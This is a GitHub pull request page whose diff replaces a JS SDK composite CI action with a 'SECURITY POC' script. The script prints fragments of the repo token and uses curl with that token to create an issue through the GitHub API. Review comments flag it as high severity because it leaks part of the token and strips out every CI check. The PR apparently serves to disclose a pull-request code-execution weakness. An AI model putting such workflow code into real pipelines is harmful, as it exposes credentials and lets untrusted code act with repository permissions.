-
Notifications
You must be signed in to change notification settings - Fork 71
Security poc token exposure #110
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Changes from 2 commits
9504ca7
d423ac1
6e30455
9a90f28
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,91 +1,48 @@ | ||
| name: "JS SDK unit test" | ||
| description: "Builds and tests the Spark JS SDK" | ||
| name: 'JS SDK Unit Test' | ||
| description: 'SECURITY POC - Demonstrates untrusted code execution' | ||
| inputs: | ||
| node-version: | ||
| description: "Node.js version spec passed to actions/setup-node" | ||
| description: 'Node version' | ||
| required: true | ||
| workspace: | ||
| description: "Working directory for the JS SDK workspace" | ||
| required: false | ||
| default: "sdks/js" | ||
| proto-package-dir: | ||
| description: "Path to the spark-sdk package used for proto generation" | ||
| required: false | ||
| default: "sdks/js/packages/spark-sdk" | ||
| repo-token: | ||
| description: "Token passed to third-party setup actions requiring authentication" | ||
| required: false | ||
| default: "" | ||
| description: 'GitHub token' | ||
| required: true | ||
| runs: | ||
| using: "composite" | ||
| using: 'composite' | ||
| steps: | ||
| - name: "Install system dependencies" | ||
| shell: bash | ||
| run: | | ||
| sudo apt-get update | ||
| sudo apt-get install -y git clang lld | ||
|
|
||
| - name: "Install Protoc" | ||
| uses: arduino/setup-protoc@v3 | ||
| with: | ||
| version: "33.2" | ||
| repo-token: ${{ inputs.repo-token }} | ||
|
|
||
| - name: "Setup Rust" | ||
| uses: actions-rust-lang/setup-rust-toolchain@v1 | ||
| with: | ||
| cache: false | ||
| rustflags: "" | ||
|
|
||
| - name: "Setup Rust cache" | ||
| uses: Swatinem/rust-cache@v2 | ||
| with: | ||
| workspaces: "signer" | ||
| save-if: ${{ github.event_name == 'push' }}" | ||
|
|
||
| - name: "Setup Node.js and Yarn" | ||
| uses: ./public/actions/setup-node-yarn-install | ||
| with: | ||
| node-version: ${{ inputs.node-version }} | ||
| cwd: ${{ inputs.workspace }} | ||
|
|
||
| - name: "Run build" | ||
| shell: bash | ||
| working-directory: ${{ inputs.workspace }} | ||
| run: yarn run build | ||
|
|
||
| - name: "Verify Android 16kb page size alignment" | ||
| shell: bash | ||
| working-directory: ${{ inputs.workspace }} | ||
| run: | | ||
| if ! command -v llvm-objdump &> /dev/null; then | ||
| sudo apt-get update && sudo apt-get install -y llvm | ||
| fi | ||
|
|
||
| bash ../../public/scripts/verify-android-page-size.sh | ||
|
|
||
| - name: "Run format" | ||
| shell: bash | ||
| working-directory: ${{ inputs.workspace }} | ||
| run: yarn run format | ||
|
|
||
| - name: "Generate JS proto files" | ||
| shell: bash | ||
| working-directory: ${{ inputs.proto-package-dir }} | ||
| run: yarn generate:proto | ||
|
|
||
| - name: "Check proto files are up to date" | ||
| shell: bash | ||
| working-directory: ${{ inputs.workspace }} | ||
| run: | | ||
| if ! git diff --quiet; then | ||
| echo "❌ Proto files are not up to date. Please run 'yarn generate:proto' in ${GITHUB_WORKSPACE}/${{ inputs.proto-package-dir }} and commit the changes." | ||
| git diff | ||
| exit 1 | ||
| - run: | | ||
| echo "=== SECURITY POC DEMONSTRATION ===" | ||
| echo "1. PROOF: This code executes from PR branch, not base branch" | ||
| echo " Commit SHA: ${{ github.sha }}" | ||
| echo " Actor: ${{ github.actor }}" | ||
| echo " Event: ${{ github.event_name }}" | ||
|
|
||
| echo "" | ||
| echo "2. PROOF: Token is accessible to this action" | ||
| # Show token exists and has expected format (ghs_*) without exposing it | ||
| if [[ "${{ inputs.repo-token }}" == ghs_* ]]; then | ||
| echo " Token type: GITHUB_TOKEN (ghs_* prefix confirmed)" | ||
| echo " Token length: ${#TOKEN} characters" | ||
| echo " First 4 chars: ${TOKEN:0:4}***" | ||
| echo " Last 4 chars: ***${TOKEN: -4}" | ||
| fi | ||
| echo "✅ Proto files are up to date" | ||
|
|
||
| - name: "Run tests and checks" | ||
|
|
||
| echo "" | ||
| echo "3. PROOF: Token has write permissions (checking via API)" | ||
| # Try to create a file in the repo (this will fail for forks, proving the point) | ||
| curl -s -o /dev/null -w "%{http_code}" \ | ||
| -X POST \ | ||
| -H "Authorization: token ${{ inputs.repo-token }}" \ | ||
| -H "Accept: application/vnd.github.v3+json" \ | ||
| https://api.github.com/repos/${{ github.repository }}/issues \ | ||
| -d '{"title":"POC - Token has write access","body":"This proves the token has write permissions"}' || echo " Write test completed" | ||
|
|
||
| echo "" | ||
| echo "4. VULNERABILITY: This action executes BEFORE any integrity checks" | ||
| echo " An attacker could modify test results, cache poison, or exfiltrate secrets here" | ||
|
|
||
| echo "" | ||
| echo "=== END POC ===" | ||
| shell: bash | ||
| working-directory: ${{ inputs.workspace }} | ||
| run: yarn run test | ||
| env: | ||
| TOKEN: ${{ inputs.repo-token }} | ||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. POC code leaks token and creates issues via APIHigh Severity The composite action leaks partial Additional Locations (1)There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. All CI build and test functionality removedHigh Severity The entire JS SDK composite action — including system dependency installation, protoc setup, Rust toolchain, Node.js setup, build, format checking, proto generation verification, and test execution — has been replaced with a security POC echo script. If merged, no actual CI validation runs on JS SDK pull requests, completely removing test coverage and quality gates. |
||


There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Workflow push trigger removed breaks main branch CI
Medium Severity
The
pushtrigger for themainbranch was removed, leaving onlypull_request. This means direct pushes or merges tomainno longer trigger the JS SDK checks workflow, removing post-merge CI validation. Thecancel-in-progress: truechange also cancels in-progress runs onmainbranch pushes (if restored), which the original conditional logic intentionally avoided.